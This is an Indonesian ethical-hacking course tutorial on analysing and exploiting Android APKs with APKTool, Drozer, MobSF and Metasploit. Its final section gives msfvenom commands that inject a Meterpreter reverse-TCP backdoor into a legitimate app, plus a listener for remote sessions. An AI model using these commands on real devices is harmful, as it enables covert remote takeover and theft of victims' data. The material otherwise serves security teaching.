Hands-on: Analisis dan Eksploitasi APK Android
Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah ethical hacking, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti APKTool, Drozer, dan MobSF. Berikut adalah langkah-langkah yang bisa diikuti:
1. Analisis APK Android dengan APKTool
APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.
Langkah-langkah:
- Install APKTool: Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:
sudo apt install apktool
- Dekomplikasi APK: Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:
apktool d target_app.apk -o output_folder
Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.
- Analisis File AndroidManifest.xml: File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.
- Memodifikasi dan Kompilasi Ulang APK: Setelah memodifikasi, APK dapat dikompilasi ulang:
apktool b output_folder -o new_app.apk
- Penandatanganan APK: Setelah APK baru dihasilkan, tandatangani dengan kunci:
jarsigner -keystore my-release-key.keystore new_app.apk alias_name
Contoh:
Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.
2. Eksploitasi Aplikasi Menggunakan Drozer
Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.
Langkah-langkah:
- Install Drozer: Install drozer di Kali Linux.
sudo apt install drozer
- Setup Drozer di Perangkat Android: Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:
adb install drozer-agent.apk adb forward tcp:31415 tcp:31415
- Analisis Aplikasi dengan Drozer: Setelah setup, koneksikan Drozer dengan aplikasi target:
drozer console connect
- Pemeriksaan Permukaan Serangan: Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:
run app.package.info -a com.example.targetapp
- Eksploitasi Komponen yang Rentan: Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:
run app.provider.query content://com.example.targetapp.provider
Contoh Eksploitasi:
Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.
3. Analisis Vulnerabilitas APK dengan MobSF
Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.
Langkah-langkah:
- Install MobSF: Jika MobSF belum terinstal, gunakan Docker untuk menginstall:
docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
- Upload APK: Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.
- Analisis Otomatis: MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.
Contoh: Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.
4. Menggunakan APK untuk Memasang Backdoor
Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.
- Langkah-langkah:
- Membuat APK Backdoor dengan Metasploit:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk
- Inject Backdoor ke APK:
msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk
- Menjalankan Listener:
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST <IP> set LPORT <PORT> exploit
- Jalankan APK di Target: Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.
Kesimpulan
Dengan menggunakan kombinasi tools seperti APKTool, Drozer, dan MobSF, kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.